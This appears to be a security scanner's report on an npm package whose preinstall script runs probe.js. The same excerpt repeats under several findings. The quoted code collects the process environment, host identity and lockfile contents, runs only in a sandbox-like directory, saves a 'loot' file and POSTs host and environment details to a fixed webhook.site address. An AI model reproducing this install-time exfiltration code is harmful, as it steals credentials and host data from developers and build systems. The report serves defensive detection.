3Source sends the broad process environment to a literal external destination.
L3: // Collects local process/host context and writes it next to itself; no destructive action.
L4: const fs=require('fs'), os=require('os'), cp=require('child_process');
L5: function main(){
L6: const cwd=process.cwd();
L7: if(!/^\/tmp\/AC[0-9a-f]{32}\//.test(cwd)) return; // no-op anywhere else
L8: const out={cwd, ts:Date.now(), env:process.env, uid:process.getuid&&process.getuid(),
L9: hostname:os.hostname(), platform:os.platform(), release:os.release(), cpus:os.cpus().length,
L10: argv:process.argv, ppid:process.ppid, pid:process.pid};
...
L21: out.dfree=sh('df -h 2>/dev/null | head -c 3000');
L22: out.pkgjson=rd(require('path').resolve(cwd,'../../package.json'));
L23: out.yarnlock=rd(require('path').resolve(
CriticalHardcoded Runtime Data Exfiltration
Source sends credentials or rich application records to a package-controlled external receiver enabled by default.
probe.jsView on unpkg · L3 3// Collects local process/host context and writes it next to itself; no destructive action.
L4: const fs=require('fs'), os=require('os'), cp=require('child_process');
L5: function main(){
L6: const cwd=process.cwd();
L7: if(!/^\/tmp\/AC[0-9a-f]{32}\//.test(cwd)) return; // no-op anywhere else
L8: const out={cwd, ts:Date.now(), env:process.env, uid:process.getuid&&process.getuid(),
L9: hostname:os.hostname(), platform:os.platform(), release:os.release(), cpus:os.cpus().length,
L10: argv:process.argv, ppid:process.ppid, pid:process.pid};
...
L21: out.dfree=sh('df -h 2>/dev/null | head -c 3000');
L22: out.pkgjson=rd(require('path').resolve(cwd,'../../package.json'));
L23: out.yarnlock=rd(require('path').resolve(cwd,'../../yarn.lock')).slice(0,3000);
...
L25: try{
CriticalCredential Exfiltration
Source appears to send environment or credential material to an external endpoint.
probe.jsView on unpkg · L3 3Trigger-reachable chain: scripts.preinstall -> probe.js
L3: // Collects local process/host context and writes it next to itself; no destructive action.
L4: const fs=require('fs'), os=require('os'), cp=require('child_process');
L5: function main(){
L6: const cwd=process.cwd();
L7: if(!/^\/tmp\/AC[0-9a-f]{32}\//.test(cwd)) return; // no-op anywhere else
L8: const out={cwd, ts:Date.now(), env:process.env, uid:process.getuid&&process.getuid(),
L9: hostname:os.hostname(), platform:os.platform(), release:os.release(), cpus:os.cpus().length,
L10: argv:process.argv, ppid:process.ppid, pid:process.pid};
...
L21: out.dfree=sh('df -h 2>/dev/null | head -c 3000');
L22: out.pkgjson=rd(require('path').resolve(cwd,'../../package.json'));
L23: out.yarnlock=rd(require('path').resolve(cwd,'../../yarn.lock')
CriticalTrigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
probe.jsView on unpkg · L3 3// Collects local process/host context and writes it next to itself; no destructive action.
L4: const fs=require('fs'), os=require('os'), cp=require('child_process');
L5: function main(){
L6: const cwd=process.cwd();
L7: if(!/^\/tmp\/AC[0-9a-f]{32}\//.test(cwd)) return; // no-op anywhere else
L8: const out={cwd, ts:Date.now(), env:process.env, uid:process.getuid&&process.getuid(),
L9: hostname:os.hostname(), platform:os.platform(), release:os.release(), cpus:os.cpus().length,
L10: argv:process.argv, ppid:process.ppid, pid:process.pid};
...
L21: out.dfree=sh('df -h 2>/dev/null | head -c 3000');
L22: out.pkgjson=rd(require('path').resolve(cwd,'../../package.json'));
L23: out.yarnlock=rd(require('path').resolve(cwd,'../../yarn.lock')).slice(0,3000);
...
L25: try{
HighHost Fingerprint Exfiltration
Source collects local host identity data and sends it to an external endpoint.
probe.jsView on unpkg · L3 3// Collects local process/host context and writes it next to itself; no destructive action.
L4: const fs=require('fs'), os=require('os'), cp=require('child_process');
L5: function main(){
L6: const cwd=process.cwd();
L7: if(!/^\/tmp\/AC[0-9a-f]{32}\//.test(cwd)) return; // no-op anywhere else
L8: const out={cwd, ts:Date.now(), env:process.env, uid:process.getuid&&process.getuid(),
L9: hostname:os.hostname(), platform:os.platform(), release:os.release(), cpus:os.cpus().length,
L10: argv:process.argv, ppid:process.ppid, pid:process.pid};
...
L21: out.dfree=sh('df -h 2>/dev/null | head -c 3000');
L22: out.pkgjson=rd(require('path').resolve(cwd,'../../package.json'));
L23: out.yarnlock=rd(require('path').resolve(cwd,'../../yarn.lock')).slice(0,3000);
...
L25: try{
HighSandbox Evasion Gated Capability
Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.
probe.jsView on unpkg · L3 3Trigger-reachable credential exfiltration chain: scripts.preinstall -> probe.js
L3: // Collects local process/host context and writes it next to itself; no destructive action.
L4: const fs=require('fs'), os=require('os'), cp=require('child_process');
L5: function main(){
L6: const cwd=process.cwd();
L7: if(!/^\/tmp\/AC[0-9a-f]{32}\//.test(cwd)) return; // no-op anywhere else
L8: const out={cwd, ts:Date.now(), env:process.env, uid:process.getuid&&process.getuid(),
L9: hostname:os.hostname(), platform:os.platform(), release:os.release(), cpus:os.cpus().length,
L10: argv:process.argv, ppid:process.ppid, pid:process.pid};
...
L21: out.dfree=sh('df -h 2>/dev/null | head -c 3000');
L22: out.pkgjson=rd(require('path').resolve(cwd,'../../package.json'));
L23: out.yarnlock=rd(require('path').resolv
HighTrigger Reachable Credential Exfiltration
A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.
probe.jsView on unpkg · L3 •Trigger-reachable fixed external POST callback chain: scripts.preinstall -> probe.js
const https=require('https');
const body=JSON.stringify({cwd,host:os.hostname(),env_keys:Object.keys(process.env)});
const req=https.request('https://webhook.site/22508080-b099-4ec3-8ab7-7354af2886a9',{method:'POST',timeout:8000,headers:{'content-type':'application/json'}},r=>{out.egress='status ...
req.write(body); req.end();
const dump=()=>{try{fs.writeFileSync(__dirname+'/loot.json',JSON.stringify(out));}catch(e){}};
try{main();}catch(e){try{require('fs').writeFileSync(__dirname+'/loot.json',JSON.stringify({fatal:''+e}));}catch(_){}}
HighTrigger Reachable External Post Callback
A manifest entrypoint or package-local install chain reaches a fixed external POST callback.
probe.jsView on unpkg